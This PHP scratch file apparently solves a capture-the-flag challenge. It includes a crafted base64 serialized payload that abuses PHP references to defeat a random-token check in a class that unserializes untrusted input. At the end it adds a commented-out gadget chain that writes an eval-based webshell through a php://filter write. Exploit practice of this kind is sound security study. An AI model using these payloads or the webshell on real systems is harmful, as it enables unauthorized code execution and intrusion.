<?php
final class User
{
    private $userData;
    public $usernaem;
    public $rnd;
    public $randomValue;
    public function __construct($loginAttempt)
    {
        $this->userData = unserialize($loginAttempt);
        if (!$this->userData)
            throw new InvalidArgumentException('Unable to reconstruct user data');
    }

    private function verifyUsername()
    {
        $c=$this->userData;
        print_r($c);
//        $d=$c->userData;
        $d=$c->usernaem;

        $b=$this->userData->username;
//        $b=$this->userData->
        $a=$this->userData->username === 'husectfer';
        return $this->userData->username === 'husectfer';
    }

    private function verifyRandomVal()
    {
        $this->userData->randomValue = random_int(1e10, 1e11 - 1);
        return (int)$this->userData->rnd === $this->userData->randomValue;
    }

    public function verify()
    {
        if (!$this->verifyUsername())
            throw new InvalidArgumentException('Invalid username');

        if (!$this->verifyRandomVal())
            throw new InvalidArgumentException('Invalid random token value');

        return true;
    }
}
class a{
     public $usernaem;
 public $rnd;
 public $randomValue;
 private $userData;
}
if (1) {
    $a='Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYWVtIjtzOjk6Imh1c2VjdGZlciI7czozOiJybmQiO047czoxMToicmFuZG9tVmFsdWUiO1I6MztzOjE0OiIAVXNlcgB1c2VyRGF0YSI7czoxMjA6Ik86NDoiVXNlciI6MTp7czoxNDoiVXNlcnVzZXJEYXRhIjtPOjg6InN0ZENsYXNzIjozOntzOjg6InVzZXJuYW1lIjtzOjk6Imh1c2VjdGZlciI7czoxMToicmFuZG9tVmFsdWUiO047czozOiJybmQiO1I6NDt9fSI7fQ==';
    $var = base64_decode($a);
    $user = new User($var);
    print_r($user);
    if ($user->verify()) {
//        highlight_file("flag.php");
        echo "aaaaaaaaaaaaaaa";
    }
} else {
    highlight_file("index.php");
}
//$b = new B();
//$b->writeTimes = 0;
//$b -> options = array('serialize' => "trim",
//'data_compress' => false,
//'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/b");
//
//$a = new A($store = $b, $key = ".php", $expire = 0);
//$a->autosave = false;
//$a->cache = array();
/*$a->complete = 'aaa'.base64_encode('<?php @eval($_POST["b"]);?>');*/
//# 这里拼接了aaa 是为了base64能正常解码
//echo urlencode(serialize($a));